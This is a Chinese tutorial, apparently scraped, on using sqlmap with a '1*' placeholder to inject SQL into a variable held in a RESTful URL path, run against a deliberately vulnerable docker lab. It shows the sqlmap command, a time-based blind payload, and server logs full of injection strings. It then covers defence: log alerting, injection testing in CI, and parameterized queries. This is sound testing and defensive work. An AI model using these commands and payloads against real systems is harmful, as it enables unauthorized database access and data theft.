從sql注入談運維基礎建設 - 使用 sqlmap 根據變量位置定點注入 restful api

sqlmap 是一款強勁自動化的 sql 注入工具, 使用 python 開發, 支持 python 2/3。python

RESTful API 規則幾乎是當前開發執行的默認規範。mysql

在 restful 接口中, 經常將變量位置放置在 url 中。例如 http://127.0.0.1:8080/{user}/profile , 其中 {user} 就是變量,根據代碼實現方式,能夠等價於 http://127.0.0.1:8080/profile?user={user} 。git

那麼, 在對這類 restful 接口進行 sql 注入的時候,又該注意什麼呢?本文將經過實驗, 進行簡單介紹。github

先說結論


在進行 restful 接口注入的時候, 須要在變量位置使用佔位符, 一般爲 1* 。golang

例如接口以下sql


掃描工具

  • sqlmap

運行環境

  • 數據庫: mysql 5.7
  • 注入靶機: [vulhub/sqli/restful
  • 代碼實現 - github
  • doslab/vulhub-sqli:latest 鏡像: docker pull doslab/vulhub-sqli:latest

搭建環境


這裏使用 docker-compose 快速搭建環境docker

docker-compose.yml數據庫

# docker-compose.yml

version: '3.1'
services:
  mysql:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: root123
  sqli:
    image: doslab/vulhub-sqli
    ports:
      - 8080:8080
# 啓動
$ docker-compose up -d

# 查看啓動狀態
$ docker-compose ps

# 驗證數據庫是否初始化
$ curl http://127.0.0.1:8080/v1/admin/admin
## {"name":"admin","password":"admin"}

注意: 因爲 mysql 初始化須要必定時間, 因此在 vulhub-sqli 啓動時 可能沒法正常初始化數據庫 沒法正常啓動 。此時使用 docker-compose restart sqli 或 docker-compose up -d 便可。bash

sqlmap 注入


在 github 上 clone 代碼到本地並安裝依賴組件。具體操做能夠按照說明進行。這裏建議使用 git clone 方式, 一遍後續更新。restful

或者, 使用筆者預先作好的鏡像 docker 鏡像 docker pull tangx/sqlmap 。

這裏, 筆者使用 docker 進行注入操做

# 啓動運行 sqlmap 環境
$ docker run --rm -it tangx/sqlmap:latest bash

在 vulhub-sqli 靶機中的 API GET http://your-ip:8080/v0/${user}/${password} 中有兩個變量 user 和 password 。任意使用其中給一個,都可完成注入。

這裏咱們在變量 password 的位置使用佔位符 1*。

$ ./sqlmap.py -u "http://yourip:8080/v0/admin/1*" --batch

[19:00:42] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.233.3:8080/v0/admin/1' AND (SELECT 5249 FROM (SELECT(SLEEP(5)))xozz) AND 'oVDy'='oVDy
---
[19:00:57] [INFO] the back-end DBMS is MySQL
[19:00:57] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[19:00:57] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times
[19:00:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.233.3'

從日誌結果咱們能夠看到 Type: time-based blind,靶機有 時間盲注 漏洞。

運維體系加固


首先,咱們觀察一下 sqlmap 留下的日誌。

接口部分日誌以下

[GIN] 2020/12/02 - 19:00:31 | 200 |     456.835µs |    192.168.32.1 | GET      "/v0/admin/1'sHvusK<'\">DyNhdx"
[GIN] 2020/12/02 - 19:00:31 | 200 |     474.341µs |    192.168.32.1 | GET      "/v0/admin/1) AND 5498=7607 AND (9169=9169"
[GIN] 2020/12/02 - 19:00:31 | 200 |     467.909µs |    192.168.32.1 | GET      "/v0/admin/1 AND 1526=1615"

... lue ...

[GIN] 2020/12/02 - 19:00:31 | 200 |     471.358µs |    192.168.32.1 | GET      "/v0/admin/1' AND EXTRACTVALUE(1745,CONCAT(0x5c,0x716b7a7171,(SELECT (ELT(1745=1745,1))),0x7178706271)) AND 'Sdog'='Sdog"
[GIN] 2020/12/02 - 19:00:31 | 200 |     311.095µs |    192.168.32.1 | GET      "/v0/admin/1 AND EXTRACTVALUE(1745,CONCAT(0x5c,0x716b7a7171,(SELECT (ELT(1745=1745,1))),0x7178706271))-- PuIi"

... lue ...

[GIN] 2020/12/02 - 19:00:42 | 200 |     390.044µs |    192.168.32.1 | GET      "/v0/admin/1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
time="2020-12-02T19:00:42Z" level=error msg="get user failed: Error 1222: The used SELECT statements have a different number of columns"
[GIN] 2020/12/02 - 19:00:42 | 200 |     371.442µs |    192.168.32.1 | GET      "/v0/admin/1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"

... lue ...

[GIN] 2020/12/02 - 19:00:57 | 200 |     445.171µs |    192.168.32.1 | GET      "/v0/admin/1' AND (SELECT 6597 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x256472697a7a6c6525,0,5)))))QvWg) AND 'ftQy'='ftQy"
[GIN] 2020/12/02 - 19:00:57 | 200 |     369.366µs |    192.168.32.1 | GET      "/v0/admin/1' AND (SELECT 5784 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x25506572636f6e6125,0,5)))))pKCS) AND 'WJHr'='WJHr"
time="2020-12-02T19:00:57Z" level=error msg="get user failed: Error 1305: FUNCTION vulhub.AURORA_VERSION does not exist"

... lue ...

經過日誌不難看出, sqlmap 在測試注入的時候, 使用了各類類型的數據庫函數。所以, 能夠完善日誌系統, 針對異常接口參數進行及時告警和跟進處理

固然, 若是真被 sql 注入***了, 那以後的優化也封堵也不過是亡羊補牢。因此, 更好的辦法是 在 CI 完成發佈到測試環境以後當即進行注入測試 , 將事故扼殺在萌芽中。

補充


doslab/vulhub-sqli 額外提供了一樣功能,但無注入危險的一個接口 GET http://your-ip:8080/v1/{user}/{password} ( 注意這裏是 v1 ) 。不一樣的是,該接口查詢使用的時候 golang mysql 庫進行的 Query 查詢操做; 而非本身拼寫 sql 語句。

相關文章
相關標籤/搜索